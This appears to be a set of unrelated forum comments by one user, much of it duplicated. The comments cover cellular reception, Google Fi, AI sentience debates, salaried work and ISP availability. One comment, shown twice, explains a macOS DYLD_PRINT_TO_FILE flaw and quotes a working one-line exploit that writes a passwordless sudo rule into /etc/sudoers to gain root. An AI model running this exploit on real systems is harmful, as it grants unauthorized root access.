That is not what the tests were referring to in the article... Devices need a significantly higher signal to maintain a connection than the standards recommend, and some reference platforms for chipsets are closer in line with the standards, but themselves are *a little* high, others *a little* low. As such, OEMs are taking what is essentially a known good chipset, coupling it with an antenna design that is more insulated or otherwise inferior for some reason, at which point creating a less capable communications product - for some reason.
With regards to devices like the 3 Google Fi phones dropping calls when they don't on other providers... Perhaps it's more a byproduct of the additional overhead of routing voice calls as data to account for the 2 cellular carriers or wifi hand-off that can take place, treating the call as VoIP between the handset and the server as compared to legacy deployments that did not have the added complexity or potential points of failure?
Great! Now I can be micromanaged at home over "your kettle says you steeped your tea for 1m30s at 173 degrees! Savage! This is an Oolong or gods sake!"
Entertainment is a very broad term. It is amusement or enjoyment. Only one party needs to derive said entertainment for the term to be valid, and as multiple parties can be taking part, including potentially operators or administrators of the site laughing about these pitiful guys messaging these fake profiles, the term still remains very much valid.
The fact of the matter is that computers have gotten more powerful where this sort of number crunching is no longer deemed "intensive" per the summary... A couple seconds after all versus many minutes per calculation.
It's a hip way of saying small. He found that invoking DYLD_PRINT_TO_FILE runs as root, and as such can allow a user to write to/etc/sudoers, giving the user sudo privileges, letting them sudo to root.
echo 'echo "$(whoami) ALL=(ALL) NOPASSWD:ALL" >&3' | DYLD_PRINT_TO_FILE=/etc/sudoers newgrp; sudo -s
The claim is that using a modern day 20mp SLR imaging a planet the size of Jupiter, he can resolve better details using the same size telescope (which is itself false as the picture in question was taken with a 2in telescope, not the 8in telescope, but whatever!) and ignoring the fact that the image sensor on the probe is a decade old and only capable of 1024x1024 images... The guy wants advertising revenue and is getting it! Don't feed the trolls!
He would make outrageous claims like he invented the question mark. Sometimes he would accuse chestnuts of being lazy. The sort of general malaise that only the genius possess and the insane lament.
Probably because these sorts of projects *begin* purely in a computer rather than a humanoid form? And as such peripherals connected to said computer and within its field of vision or awareness would be the initial extent of its capabilities... Again, you're making the assumption that from day one, we have a Terminator with a hive consciousness... Ability to learn, read, and adapt to differing stimuli is unquestioned and a desired result of a true self aware AI. But there are many steps between "cogito ergo sum" and "I can build myself a new arm in a room where I can't see what's going on as a means of leaving said room.
You're making a wild assumption that *every* world AI would be one in this scenario, and as such intrinsically absorb any knowledge or experience of another. That is a pretty massive logical jump between *a self aware AI in your garage* and Skynet. If said AI is limited within the confines of a body to interact within the world that does not have appropriate dexterity to use or manipulate said tools, let alone grip them, how do you anticipate it wills itself into infinite utility?
Of course, because the last time your arm fell off you replaced it with a the contents of a box filled with napkin rings, hair net requisition forms and an inflatable shark... Sentience doesn't equal infinite utility.
But they don't pay you for 40 hours per week. They pay you salary, and as such you are paid the same regardless of whether you work 20 hours or 80 hours.
*if* said system had a payload of a brick of C4, or a fragmentation grenade, or a zipgun, it could be made to be quite a threat at 2lbs... Just saying, ergo the paranoia about letting people fly across the White House lawn with one.
Or, as a more plausible answer, said microbes are capable of being transplanted quite easily, such as by winds, rains, migratory birds, and the like. That's not even mentioning contaminants that simply enter the water table from neighboring civilizations and are drank unknowingly by this people or their sources of food.
Because they've decided amidst countless interviews, market studies and business process reviews that there are no eligible candidates located in the United States who are applying for the positions. \sarcasm
And the reason why there are no cities nearby is precisely because the land is sacred. When the U.S. came to Hawaii, they took much of the native people's lands. The idea of mass demolition of a holy site simply because it does not appear to comply with angio-saxon definitions of what should and should not be holy is not a matter that should be taken flippantlyly. Consider various Native American tribes practices and and ideals with regards to respect for land. It is the source of life. The act of destroying it violently could be seen as offensive.
Per TFA, DSL and Dial-Up are not available as CenturyLink will not install him as they are on Permanent Exhaust, despite previously quoting availability and scheduling an install for both telephone and DSL services.
The owner is presently using cellular internet to do his work at extensive additional costs due to metered bandwidth, but it's his only option due to being lied to by these companies multiple times for months in advance of purchase and after move in.
And problems today are with scalability, and handling not just "2+2" but "2+[n...]" done a near infinite number of times. It is about algorithmic operations on continuous input that require adaptive understanding of whether said data is important, and finding relative context within the data so that patterns can begin to emerge. Getting to 2+2 faster isn't the goal of quantum computing, AI, or whatever else for that matter... Helping the system to understanding why the question is important is.
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Why try to be cute? Just say it.
That is not what the tests were referring to in the article... Devices need a significantly higher signal to maintain a connection than the standards recommend, and some reference platforms for chipsets are closer in line with the standards, but themselves are *a little* high, others *a little* low. As such, OEMs are taking what is essentially a known good chipset, coupling it with an antenna design that is more insulated or otherwise inferior for some reason, at which point creating a less capable communications product - for some reason.
With regards to devices like the 3 Google Fi phones dropping calls when they don't on other providers... Perhaps it's more a byproduct of the additional overhead of routing voice calls as data to account for the 2 cellular carriers or wifi hand-off that can take place, treating the call as VoIP between the handset and the server as compared to legacy deployments that did not have the added complexity or potential points of failure?
Unlimited for the phone, limited for tethering.
We're not gonna protest. No, we ain't gonna protest. We're not gonna protest anymore.
Every iPhone is precisely the size it is.
The more programmers that can be *simulated* to do research in the field of machine learning the better IMO.
Great! Now I can be micromanaged at home over "your kettle says you steeped your tea for 1m30s at 173 degrees! Savage! This is an Oolong or gods sake!"
Redistricting
Entertainment is a very broad term. It is amusement or enjoyment. Only one party needs to derive said entertainment for the term to be valid, and as multiple parties can be taking part, including potentially operators or administrators of the site laughing about these pitiful guys messaging these fake profiles, the term still remains very much valid.
Cutting tax breaks for oil? 3, 2, 1, aaaaand boned.
The fact of the matter is that computers have gotten more powerful where this sort of number crunching is no longer deemed "intensive" per the summary... A couple seconds after all versus many minutes per calculation.
It's a hip way of saying small. He found that invoking DYLD_PRINT_TO_FILE runs as root, and as such can allow a user to write to /etc/sudoers, giving the user sudo privileges, letting them sudo to root.
echo 'echo "$(whoami) ALL=(ALL) NOPASSWD:ALL" >&3' | DYLD_PRINT_TO_FILE=/etc/sudoers newgrp; sudo -s
May I venture a guess that some intercourse was involved in the DNA getting there?
The claim is that using a modern day 20mp SLR imaging a planet the size of Jupiter, he can resolve better details using the same size telescope (which is itself false as the picture in question was taken with a 2in telescope, not the 8in telescope, but whatever!) and ignoring the fact that the image sensor on the probe is a decade old and only capable of 1024x1024 images... The guy wants advertising revenue and is getting it! Don't feed the trolls!
He would make outrageous claims like he invented the question mark. Sometimes he would accuse chestnuts of being lazy. The sort of general malaise that only the genius possess and the insane lament.
Probably because these sorts of projects *begin* purely in a computer rather than a humanoid form? And as such peripherals connected to said computer and within its field of vision or awareness would be the initial extent of its capabilities... Again, you're making the assumption that from day one, we have a Terminator with a hive consciousness... Ability to learn, read, and adapt to differing stimuli is unquestioned and a desired result of a true self aware AI. But there are many steps between "cogito ergo sum" and "I can build myself a new arm in a room where I can't see what's going on as a means of leaving said room.
You're making a wild assumption that *every* world AI would be one in this scenario, and as such intrinsically absorb any knowledge or experience of another. That is a pretty massive logical jump between *a self aware AI in your garage* and Skynet. If said AI is limited within the confines of a body to interact within the world that does not have appropriate dexterity to use or manipulate said tools, let alone grip them, how do you anticipate it wills itself into infinite utility?
Of course, because the last time your arm fell off you replaced it with a the contents of a box filled with napkin rings, hair net requisition forms and an inflatable shark... Sentience doesn't equal infinite utility.
But they don't pay you for 40 hours per week. They pay you salary, and as such you are paid the same regardless of whether you work 20 hours or 80 hours.
*if* said system had a payload of a brick of C4, or a fragmentation grenade, or a zipgun, it could be made to be quite a threat at 2lbs... Just saying, ergo the paranoia about letting people fly across the White House lawn with one.
Or, as a more plausible answer, said microbes are capable of being transplanted quite easily, such as by winds, rains, migratory birds, and the like. That's not even mentioning contaminants that simply enter the water table from neighboring civilizations and are drank unknowingly by this people or their sources of food.
Because they've decided amidst countless interviews, market studies and business process reviews that there are no eligible candidates located in the United States who are applying for the positions. \sarcasm
And the reason why there are no cities nearby is precisely because the land is sacred. When the U.S. came to Hawaii, they took much of the native people's lands. The idea of mass demolition of a holy site simply because it does not appear to comply with angio-saxon definitions of what should and should not be holy is not a matter that should be taken flippantlyly. Consider various Native American tribes practices and and ideals with regards to respect for land. It is the source of life. The act of destroying it violently could be seen as offensive.
Per TFA, DSL and Dial-Up are not available as CenturyLink will not install him as they are on Permanent Exhaust, despite previously quoting availability and scheduling an install for both telephone and DSL services.
The owner is presently using cellular internet to do his work at extensive additional costs due to metered bandwidth, but it's his only option due to being lied to by these companies multiple times for months in advance of purchase and after move in.
And problems today are with scalability, and handling not just "2+2" but "2+[n...]" done a near infinite number of times. It is about algorithmic operations on continuous input that require adaptive understanding of whether said data is important, and finding relative context within the data so that patterns can begin to emerge. Getting to 2+2 faster isn't the goal of quantum computing, AI, or whatever else for that matter... Helping the system to understanding why the question is important is.